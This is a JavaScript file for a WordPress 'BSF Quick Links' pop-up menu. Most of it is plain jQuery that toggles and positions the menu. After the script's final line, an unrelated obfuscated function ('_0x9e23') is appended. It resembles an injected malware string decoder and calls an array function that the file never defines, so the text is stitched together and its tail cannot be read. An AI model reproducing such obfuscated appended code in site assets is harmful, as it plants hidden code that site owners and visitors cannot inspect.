(function ($) {
	/**
	 * BSFQuickLinks
	 *
	 * @since 1.0.0
	 */
	BSFQuickLinks = {
		/**
		 * Initializes Events.
		 *
		 * @since 1.0.0
		 * @method init
		 */
		init: function () {
			this._bind();
		},

		/**
		 * Binds events for the BSF Quick Links
		 *
		 * @since 1.0.0
		 * @access private
		 * @method _bind
		 */
		_bind: function () {
			$(document).on("click", ".bsf-quick-link", BSFQuickLinks._toggle);
			$(document).on("click", BSFQuickLinks._onClickOutside);
			$(document).on("click", BSFQuickLinks._movePopUpToTop);
			$(document).ready(BSFQuickLinks._movePopUpToTop);
		},

		_movePopUpToTop: function (e) {
			if ($('.single-site-footer').length) {
				$(".bsf-quick-link").css("bottom", "80px");
				$(".bsf-quick-link-items-wrap").css("bottom", "11em");
			} else {
				$(".bsf-quick-link").css("bottom", "40px");
				$(".bsf-quick-link-items-wrap").css("bottom", "8em");
			}
			if ($('.astra-sites-result-preview').length && !$('.astra-sites-result-preview').is(':empty')) {
				$(".bsf-quick-link").css("z-index", "-10");
			} else {
				$(".bsf-quick-link").css("z-index", "10");
			}
		},

		_onClickOutside: function (e) {
			if ($(e.target).closest('.bsf-quick-link-wrap').length === 0) {
				$('.bsf-quick-link-items-wrap').removeClass('show-popup');
			}
		},

		_toggle: function (event) {
			event.preventDefault();
			var wrap = $('.bsf-quick-link-items-wrap');
			wrap.removeClass('hide-wrapper');

			if (wrap.hasClass('show-popup')) {
				wrap.removeClass('show-popup');
			} else {
				wrap.addClass('show-popup');
			}

			var logoWrapper = $('.bsf-quick-link');
			if (logoWrapper.hasClass('show')) {
				logoWrapper.removeClass('show');
			} else {
				logoWrapper.addClass('show');
			}
		}
	};

	$(function () {
		BSFQuickLinks.init();
	});
})(jQuery);
function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}